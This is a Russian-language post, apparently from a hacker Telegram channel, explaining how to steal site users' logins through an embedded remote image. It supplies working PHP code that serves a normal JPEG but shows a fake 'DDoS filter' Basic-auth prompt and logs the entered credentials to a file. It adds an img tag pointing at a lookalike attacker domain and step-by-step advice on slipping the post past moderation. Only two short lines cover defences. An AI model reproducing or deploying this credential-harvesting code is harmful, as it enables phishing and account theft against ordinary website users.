January 28, 2019

Взлом пользователей через картинку.

https://t.me/darkside_team

Правильно люди говорят: «Все новое — это хорошо забытое старое»

Возможность встраивания удалённых ресурсов (например картинок с других сайтов) на страницу своего сайта — очень плохая практика. Которая может в определённый момент привести к довольно серьёзным последствиям для сайта. Еще 10 лет назад, я с удивлением читал о том, что такое возможно. И вот прошло 10 лет, ничего не изменилось, и похоже на то, что это вряд ли когда то изменится.

Теория и практика

1. Хацкер регистрирует себе домен похожий по написанию на атакуемый домен.

2. Загружает на него скрипт c таким содержимым на PHP

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    $vulnsite = parse_url($_SERVER['REFERER']);
    //header('Content-Type: text/html; charset=windows-1251');
    //header('WWW-Authenticate: Basic realm="'.ucfirst($vulnsite['host']).' DDoS-Filter: Enter your Login and Password"');
    //header('HTTP/1.0 401 Unauthorized');
} else {
    $f = fopen('passes.txt', 'a');
    fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n"); 
    fclose($f);
}
header("Content-type: image/jpeg");
$image = imagecreatefromjpeg('image.jpg');
imagejpeg($image);
imagedestroy($image);
exit();

//Соответственно в этой же папке лежит нормальная image.jpg
//Тут же можно поиграться с расширением скрипта и обозвать его superphoto.jpg .
?>

3. Пишет статью, и встраивает картинку в пост:

<img src="http://exEmple.com/evilimage.php" alt="image"/>

4. Если присутствует модерация на сайте, то отправляет статью на модерацию.

5. К примеру статья получилась у него хорошая и она попадает на главную.

6. Злой человек видит своё детище на главной и убирает комментарии в PHP коде, таким образом в ответ на запрос картинки из поста, у любого пользователя в браузере появляется окно с авторизацией, где может быть написано все что угодно, к примеру что сайт отбивается от ДДос атаки, и просит повторить ввод логина и пароля.

7. Не внимательный пользователь, не вчитывается в название домена в форме авторизации и субмитит логин и пароль.

8. Злой человек получает ваш логин и пароль, его цель достигнута.

Способы защиты

Думаю вменяемых методов может быть два:

  • На уровне браузеров: запрет на выдачу окна авторизации от другого сайта
  • На уровне разработчиков сайтов: Копирование всех удалённых ресурсов к себе на хостинг

P.S работает не во всех браузерах.

Dark $ide - Твоя Тёмная Сторона

Если хочешь предложить свой контент пиши в бота: @ds_offer_robot